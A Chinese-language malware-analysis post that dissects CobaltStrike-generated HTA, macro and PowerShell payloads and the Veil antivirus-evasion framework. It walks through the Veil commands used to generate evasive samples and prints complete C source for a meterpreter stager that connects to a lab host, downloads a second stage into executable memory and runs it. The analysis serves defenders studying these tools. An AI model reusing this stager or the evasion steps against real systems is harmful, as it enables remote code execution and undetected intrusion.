概述

在上一节的的文章了，笔者对CobaltStrike的基本使用和PE样本进行了一个概要的分析。通过上一小节的内容，可了解CobaltStrike的基本原理和代码解密上线方法。在本节中，笔者将会对CobaltStrike其他类型的恶意样本进行一个分析。
由于foreign协议和beacon协议生成的样本解码方式相同，只是后续请求的方式不同，这里就不分开介绍了，只介绍beacon类型的样本。

HTML Application

CobaltStrike可生成三种类型的hta文件，分别是Executable、Powershell、VBA。
image.png

这三类样本的区别在于：
Executable 将会在hta文件中内嵌一个PE文件
Powershell 将会在hta文件中内嵌一段Powershell代码
VBA 将会在hta文件中内嵌一段VBA代码

Beacon_Executable

该类样本主要是创建一个包含VBScript的hta文件，在VBScript中，有一个硬编码的PE
image.png

脚本会在末尾将shellcode写入到evil_pe.exe中并通过Wscript.Shell加载执行
image.png

因此可以将这部分的shellcode赋值到010中保存为exe文件：
image.png

保存出来的pe是只有14kb，初步估计是上一小节分析过的加载器。
image.png
经过分析，可以确定该样本是CobaltStrike的的分段Payload加载器
image.png

Powershell

相比之下，Powershell类型的hta内嵌的shellcode体积就要小很多
image.png

该段Powershell代码主要是用于解密并执行中间一段base64编码的代码，中间的代码解码之后如下：
image.png

解码之后的Powershell依旧是解码执行base64编码的代码，不同的是，此次解码出来的将会是一个数据流，在后面解压缩执行。

所以可以将该段Powershell指令赋值到ps中执行，得到执行结果。
image.png

写入到1.txt中的内容还是一段Powershell指令，代码如下：
image.png

最后的这段Powershell代码首先会在末尾处通过[IntPtr]::size -eq 8 以判断当前的操作系统是32还是64位。若当前程序是64位，则以32位的模式启动。

这里调试ps1文件，直接将shellcode写入到2.txt中：
image.png

写入之后格式如下，写个简单的python脚本格式化即可
image.png

格式化出来之后可以发现这里的shellcode其实就是分段Payload中解密出来用于下载后续Payload的shellcode
image.png

VBA

内嵌VBA代码的hta相比前两类就要复杂一些
image.png

VBA类的hta主要是在hta中通过VBScript创建一个excel对象并填充恶意宏代码执行。
代码首先通过CreateBoject 创建了一个 Excel.Application对象并更改其可见属性为False
image.png

接着程序创建一个WscriptShell对象用于操作注册表，主要是添加宏的安全属性
image.png

准备工作完成之后，程序会给Excel对象添加工作表并且将宏代码填充进去：
image.png

最后通过Auto_Open方法调用宏：
image.png

所以可以直接在excel中创建一个宏对象，将hat文件中的宏代码拷贝过去调试，记得位置需要选择到当前的文档，而不是应用到所有模板
image.png

但是将宏代码插入到excel之前需要先把一些没用的代码给替换掉，原始代码如下，经过简单分析，可以知道每个符号分别应该替换为多少，并且直接将cha(xx)的形式替换为对应的符号，这个过程可以手动替换，也可以直接编写一个python脚本进行替换。
image.png

完全替换并格式化后的宏代码应该如下：
image.png

简单分析后可得知，宏代码中应该是编码了一段hex数据流，宏代码会将这段数据流读解码后读取到内存并通过rundll32加载执行
image.png

加载方式是直接写入内存
image.png

所以可以调试到 res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) 的时候使用火绒剑查看rundll32.exe的进程信息，找到写入的进程地址，本例中为851968，将其转换为16进制得到d0000
image.png

获取到写入的地址之后，可以直接在火绒剑里面右键，查看进程信息，转到线程，双击之后，在内存查看窗口中输入转换后的十六进制地址：d0000查看内存
image.png

跳转过来之后可以发现，这片内存的数据就是我们之前分析过的shellcode。由于火绒剑本身不带有内存dump的功能，想要dump这片内存可以使用其他的内存dump工具。
image.png

Payload

除了直接生成恶意样本，CobaltStrike还支持生成各种语言的Payload，包括了C、C#、Java、Python等常见语言
image.png

其中C、C#、JAVA、Perl、Python、Ruby、VBA等类型的Payload均为硬编码的shellcode，而这段shellcode之前已经看到过不止一次了。攻击者可以编写任意的加载器，将这段buf加载到内存中执行。
image.png

COM组件的sct文件和上面分析的HTML APPlication的VBA相似，均为创建一个excel对象将预定义的宏代码写入进去执行：
image.png

同样的，Powershell类型的Payload跟hta类型的Powershell解码出来保持一致：
image.png

Powershell_cmd类型的Payload会直接生成一行可执行的Powershell指令，该条指令用于执行一段base64编码的指令
image.png

该段base64解码之后还是一段Powershell指令，该段Powershell指令依旧用于执行base64编码后的指令
image.png

内层的base64字符串解码之后是一段压缩后的shellcode，程序会通过IO.Compression.GzipStream解压缩这段数据通过IEX加载执行，这和hta的Powershell保持一致。
image.png

至此，除Veil之外，CobaltStrike生成的所有Payload都已经看完，通过对各种payload的简单分析可以得知，CobaltStrike看起来可以生成多种类型的payload，但其实本质上，payload所加载的shellcode其实是基本都是cs的downloader。

Veil

在上一小节介绍了CobaltStrike生成的各类payload，唯独没有介绍Veil，是因为Veil并不是可直接投入使用的语言，而是一款和CobaltStrike配合使用的免杀框架。

CobaltStrike客户端可以生成Veil类型的payload，攻击者将该Payload传入到Veil框架中即可生成具有一定免杀性的样本。

在kali中安装Veil只需要在确保配置的源可用的情况下执行apt -y install veil 即可快速安装

安装之后执行/usr/share/veil/config/setup.sh —force —silent 进行配置：
image.png

配置完成，在命令行输入veil指令就可进入到Veil：
image.png

Veil主要是包含了Evasion和Ordnance两个免杀工具，其中Evasion是用作文件免杀，Ordnance可生成一段Veil的Shellcode。接下来将以一个简单的例子讲述Veil框架的样本生成：

Make Veil for Autoit

在命令行键入use 1选择Evasion工具，可查看Evasion支持的一些命令，其中list指令可列举出Evasion包含的所有类型的Payload，use指令可选择Payload，info 指令可查看Payload的相信信息。
image.png

键入list命令查看可配置的Payload列表
image.png

Veil的Evasion一共包含了41中Payload，其中包括autoit的shellcode注入、meterpreter后门、cs后门、golang版本的meterpreter后门、lua的shellcode注入、perl的shellcode注入、Powershell版本的meterpreter后门、python版
本的meterpreter后门、python的shellcode注入、ruby的meterpreter后门、ruby的shellcode注入等等。

键入info 1 或者info autoit/shellcode_inject/flat.py 可查看第一类Payload的详细信息：
image.png

根据回显信息可知，autoit的Payload可直接编译成可执行文件。所以键入use 1 生成一个autoit的Payload试试
image.png

键入generate准备生成样本，Evasion提供了5种方式的shellcode，分别是

  1. Ordnance(默认)
  2. MSFVenom (MSF的Payload)
  3. Custom shellcode String (自定义的shellcode)
  4. File With Shellcode(十六进制的shellcode文件)
  5. Binary file with shellcode(二进制形式的shellcode文件)

这里看看Veil框架自带的样本，于是键入1，选择默认方式生成，接下来程序会让用户选择直接生成原始payload还是生成编码后的payload
image.png

而这里的Encoders其实只有一个xor方式
image.png

为了对比生成的shellcode情况，这里键入use 6 选择不进行编码，可以看到坏字符为\x00，无编码方式，接下来只设置好lhost和lport之后，键入generate即可生成payload
image.png

最后键入文件名，即可在Veil的文件目录下生成对应的exe文件：
image.png

Veil Autoit

通过工具解析这个pe文件，将autoit脚本dump出来如下：
image.png

Autoit脚本本身较短，主要就是将先前在Veil控制台生成的那段shellcode注入到calc.exe中

Veil默认生成的shellcode和上一小节cs的shellcode风格类似，但是短小了很多
image.png

经过快速的验证可以得知，该段shellcode就是CobaltStrike中用于下载后续payload的shellcode：
image.png

回到Veil框架中来，刚才在生成autoit的样本时候，Veil提供了五个选项用于生成不同的shellcode，上面经过试验可知Veil默认的shellcode和CobaltStrike中对应，接下来看看MSFvenom选项的shellcode。

在配置shellcode时候选择 2- MSFVenom，选择msf的shellcode，根据提示键入对应的信息，最后程序会生成一个名为payload1.exe的利用文件：
image.png

将msfvenom方式生成的样本dump出来，发现注入方式相同，但是注入的shellcode有所改变
image.png

msfvenom的shellcode和CobaltStrike的基本一样，但是感觉要稳定一些
image.png

关于MSF的shellcode为什么和CobaltStrike的shellcode如此相似，笔者会在下一篇文章中进行详细的介绍。

由于2 3 4 三个选项都需要payload作为输入，这个暂且不进行分析。从选项5到选项8，均为c语言的meterpreter
image.png

Veil2meterpreter

选择c/meterpreter ，Veil自动配置好了LPORT，需要用户手动键入LHOST和Filename。
image.png

配置完成之后，生成payload的时候，Veil会自动创建源代码文件和可执行文件，分别放入compiled文件夹和source文件夹中。
打开source文件夹中的use5.exe.c可看到该payload生成的C语言源码：
image.png

格式化之后完整代码如下：

  1. #define _WIN32_WINNT 0x0500
  2. #include <winsock2.h>
  3. #include <time.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #include <string.h>
  8. char* HTzuNvhCcP(char* s)
  9. {
  10.     char *result =  malloc(strlen(s)*2+1);
  11.     int i;
  12.     for (i=0;i<strlen(s)*2+1;i++)
  13.     {
  14.         result[i] = s[i/2];
  15.         result[i+1]=s[i/2];
  16.     } 
  17.     result[i] = '\0';
  18.     return result;
  19. }
  21. char* OySGHDw(const char *t) 
  22. {
  23.     int length= strlen(t);
  24.     int i;
  25.     char* t2 = (char*)malloc((length+1) * sizeof(char));
  26.     for(i=0;i<length;i++)
  27.     {
  28.         t2[(length-1)-i]=t[i];
  29.     } 
  30.     t2[length] = '\0';
  31.     return t2;
  32. }
  34. int xDEADohLQOWAzHd(char PRgNjrnBFiTU[]) 
  35. {
  36.     int ALonTwgUnqVHeP=0;
  37.     int i;
  38.     for (i=0;i<strlen(PRgNjrnBFiTU);++i)
  39.         ALonTwgUnqVHeP += PRgNjrnBFiTU[i];
  40.     return (ALonTwgUnqVHeP % 256); 
  41. }
  43. void MzItUPnp() 
  44. {
  45.     WORD pYUkbOS = MAKEWORD((0*4+2), (2*1+0));
  46.     WSADATA euQsZxqczZN;
  47.     if (WSAStartup(pYUkbOS, &euQsZxqczZN) < 0) 
  48.     {
  49.         WSACleanup();
  50.         exit(1);
  51.     }
  52. }
  55. char* OZNtVHUJ()
  56. { 
  57.     char EqafcdrUDe[2322], lchzXusA[2322/2];
  58.     strcpy(EqafcdrUDe,"KsdJVurnXCZwEPwiYxMkTesCJnIcBzpzkbpihXhtoIKlPqSowe");
  59.     strcpy(lchzXusA,"WbxKqlvywkBPPFOwqjvVDYWNHzeRElhmgzEVedFMzzZIbLNYbN");
  60.     return OySGHDw(strcat( EqafcdrUDe, lchzXusA));
  61. }
  63. void MxzrqhwCGD(SOCKET HpKFhGTt) 
  64. {
  65.     closesocket(HpKFhGTt);
  66.     WSACleanup();
  67.     exit(1);
  68. }
  70. char* ezkJzCUX()
  71. {
  72.     char *FoteTKotVa = HTzuNvhCcP("ntHkjiirjivMQLRcvIHfhkPRwprXXDMVwVCXKmYXzGjTKGqYtB");
  73.     return strstr( FoteTKotVa, "p" );
  74. }
  76. char* XqleexaJmujm()
  77. {
  78.     srand (time(NULL));
  79.     int i;
  80.     char jXDHwTYg[] = "NpDPygsCZFz0fIlSQAO2c4xrb6vJYiWXGm1TVw3udUnkKa9EtBMLHjqheR58o7";
  81.     char* bMKWmB = malloc(5);
  82.     bMKWmB[4] = 0;
  83.     while (1<2)
  84.     {
  85.         for(i=0;i<3;++i)
  86.         {
  87.             bMKWmB[i] = jXDHwTYg[rand() % (sizeof(jXDHwTYg)-1)];
  88.         }
  89.         for(i=0;i<sizeof(jXDHwTYg);i++)
  90.         {
  91.             bMKWmB[3] = jXDHwTYg[i];
  92.             if (xDEADohLQOWAzHd(bMKWmB) == 92) 
  93.                 return bMKWmB;
  94.         }
  95.     } return 0;
  96. }
  98. char* UQVVQa() 
  99. { 
  100.     char qofPBDITdyn[2322] = "QvAaOpKBiWlPPVDkezMgBtoUdUNQHsYSwKTqHAorZOwQkXnYjr";
  101.     char *FBvxORWoFORw = strupr(qofPBDITdyn);
  102.     return strlwr(FBvxORWoFORw);
  103. }
  105. SOCKET rGEiHkVJYjGbir() 
  106. { 
  107.     struct hostent * Iaedcj;
  108.     struct sockaddr_in XIHDAdziTSd;
  109.     SOCKET rrlyFfRiscWV;
  110.     rrlyFfRiscWV = socket(AF_INET, SOCK_STREAM, 0);
  111.     if (rrlyFfRiscWV == INVALID_SOCKET) 
  112.         MxzrqhwCGD(rrlyFfRiscWV);
  113.     Iaedcj = gethostbyname("192.168.230.129");
  114.     if (Iaedcj == NULL) 
  115.         MxzrqhwCGD(rrlyFfRiscWV);
  116.     memcpy(&XIHDAdziTSd.sin_addr.s_addr, Iaedcj->h_addr, Iaedcj->h_length);
  117.     XIHDAdziTSd.sin_family = AF_INET;
  118.     XIHDAdziTSd.sin_port = htons((673*12+4));
  119.     if ( connect(rrlyFfRiscWV, (struct sockaddr *)&XIHDAdziTSd, sizeof(XIHDAdziTSd)) ) 
  120.         MxzrqhwCGD(rrlyFfRiscWV);
  121.  return rrlyFfRiscWV;
  122. }
  124. int main(int argc, char * argv[]) 
  125. {
  126.     char * EcQtTd;
  127.     int i;
  128.     char* YGADVFvMCa[5463];
  129.     for (i = 0;i < 5463;++i)
  130.         YGADVFvMCa[i] = malloc (4182);
  131.     MzItUPnp();
  132.     char* WCficlPxKiWRYg[264];
  133.     SOCKET mpmACD = rGEiHkVJYjGbir();
  134.     for (i = 0;i < 264;++i) 
  135.         WCficlPxKiWRYg[i] = malloc (2850);
  136.     char mwKObmvDwOIuJ[200];
  137.     sprintf(mwKObmvDwOIuJ, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.230.129:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible;MSIE 6.1;Windows NT\r\n\r\n", XqleexaJmujm());
  138.     send(mpmACD,mwKObmvDwOIuJ, strlen( mwKObmvDwOIuJ ),0);
  139.     Sleep(300);
  140.     EcQtTd = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  141.     char* AGwAhuoOYGFoNzq[9887];
  142.     for (i=0;i<5463;++i)
  143.     {
  144.         strcpy(YGADVFvMCa[i], OZNtVHUJ());
  145.     }
  146.     char * umWSfvQxRu = EcQtTd;
  147.     int XHuuVPORMriW;
  148.     do 
  149.     { 
  150.         XHuuVPORMriW = recv(mpmACD, umWSfvQxRu, 1024, 0);
  151.         umWSfvQxRu += XHuuVPORMriW;
  152.     }while ( XHuuVPORMriW > 0 );
  153.     for (i = 0;i < 9887;++i)
  154.         AGwAhuoOYGFoNzq[i] = malloc (4361);
  155.     for (i=0;i<264;++i)
  156.     {
  157.         strcpy(WCficlPxKiWRYg[i], ezkJzCUX());
  158.     }
  159.     closesocket(mpmACD);
  160.     WSACleanup();
  161.     ((void (*)())strstr(EcQtTd, "\r\n\r\n") + 4)();
  162.     for (i=0;i<9887;++i)
  163.     {
  164.         strcpy(AGwAhuoOYGFoNzq[i], UQVVQa());
  165.     }
  166.     return 0;
  167. }

由于 6 7 8三个选项只是请求协议不同，加载方式还是大同小异的，这里就不分别对后面的进行生成和分析了。

不过关于Veil生成的meterpreter还是比较有意思的，本文篇幅至此，若是下一篇有机会的话将其完整分析补上。